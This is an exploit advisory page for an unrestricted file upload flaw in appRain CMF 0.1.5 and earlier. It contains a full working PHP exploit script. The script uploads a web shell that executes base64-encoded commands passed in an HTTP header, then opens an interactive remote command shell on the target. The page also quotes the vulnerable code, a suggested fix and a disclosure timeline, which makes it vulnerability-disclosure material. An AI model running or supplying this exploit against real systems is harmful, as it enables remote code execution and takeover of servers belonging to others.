appRain CMF <= 0.1.5 (uploadify.php) Unrestricted File Upload exploit

2012.01.20
Credit: EgiX
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

<?php /* --------------------------------------------------------------------- appRain CMF <= 0.1.5 (uploadify.php) Unrestricted File Upload Exploit --------------------------------------------------------------------- author............: Egidio Romano aka EgiX mail..............: n0b0d13s[at]gmail[dot]com software link.....: http://www.apprain.com/ +-------------------------------------------------------------------------+ | This proof of concept code was written for educational purpose only. | | Use it at your own risk. Author will be not responsible for any damage. | +-------------------------------------------------------------------------+ [-] vulnerable code in /webroot/addons/uploadify/uploadify.php 27. if (!empty($_FILES)) { 28. $tempFile = $_FILES['Filedata']['tmp_name']; 29. //$targetPath = $_SERVER['DOCUMENT_ROOT'] . $_REQUEST['folder'] . '/'; 30. $targetFile = "uploads/" . $_FILES['Filedata']['name']; 31. 32. // $fileTypes = str_replace('*.','',$_REQUEST['fileext']); 33. // $fileTypes = str_replace(';','|',$fileTypes); 34. // $typesArray = split('\|',$fileTypes); 35. // $fileParts = pathinfo($_FILES['Filedata']['name']); 36. 37. // if (in_array($fileParts['extension'],$typesArray)) { 38. // Uncomment the following line if you want to make the directory if it doesn't exist 39. // mkdir(str_replace('//','/',$targetPath), 0755, true); 40. 41. move_uploaded_file($tempFile,$targetFile); 42. echo str_replace($_SERVER['DOCUMENT_ROOT'],'',$targetFile); 43. // } else { 44. // echo 'Invalid file type.'; 45. // } 46. } Restricted access to this script isn't properly realized, so an attacker might be able to upload arbitrary files containing malicious PHP code due to uploaded file extension isn't properly checked. [-] Possible bug fix: include_once('../../../app.php'); App::__Obj('appRain_Base_Core')->check_admin_login(); add this lines of code at the beginning of the script [-] Disclosure timeline: [19/12/2011] - Vulnerability discovered [19/12/2011] - Issue reported to http://www.apprain.com/ticket/1135 [20/12/2011] - Vendor response and fix suggested [16/01/2012] - After four weeks still no fix released [19/01/2012] - Public disclosure */ error_reporting(0); set_time_limit(0); ini_set("default_socket_timeout", 5); function http_send($host, $packet) { if (!($sock = fsockopen($host, 80))) die("\n[-] No response from {$host}:80\n"); fputs($sock, $packet); return stream_get_contents($sock); } print "\n+---------------------------------------------------------------+"; print "\n| appRain CMF <= 0.1.5 Unrestricted File Upload Exploit by EgiX |"; print "\n+---------------------------------------------------------------+\n"; if ($argc < 3) { print "\nUsage......: php $argv[0] <host> <path>\n"; print "\nExample....: php $argv[0] localhost /"; print "\nExample....: php $argv[0] localhost /apprain-v015/\n"; die(); } $host = $argv[1]; $path = $argv[2]; $payload = "--o0oOo0o\r\n"; $payload .= "Content-Disposition: form-data; name=\"Filedata\"; filename=\"sh.php\"\r\n\r\n"; $payload .= "<?php error_reporting(0); print(___); passthru(base64_decode(\$_SERVER[HTTP_CMD]));\r\n"; $payload .= "--o0oOo0o--\r\n"; $packet = "POST {$path}addons/uploadify/uploadify.php HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Content-Length: ".strlen($payload)."\r\n"; $packet .= "Content-Type: multipart/form-data; boundary=o0oOo0o\r\n"; $packet .= "Connection: close\r\n\r\n{$payload}"; if (!preg_match('/sh.php/', http_send($host, $packet))) die("\n[-] Upload failed!\n"); $packet = "GET {$path}addons/uploadify/uploads/sh.php HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Cmd: %s\r\n"; $packet .= "Connection: close\r\n\r\n"; while(1) { print "\napprain-shell# "; if (($cmd = trim(fgets(STDIN))) == "exit") break; $response = http_send($host, sprintf($packet, base64_encode($cmd))); preg_match('/___(.*)/s', $response, $m) ? print $m[1] : die("\n[-] Exploit failed!\n"); } ?>

References:

http://www.apprain.com


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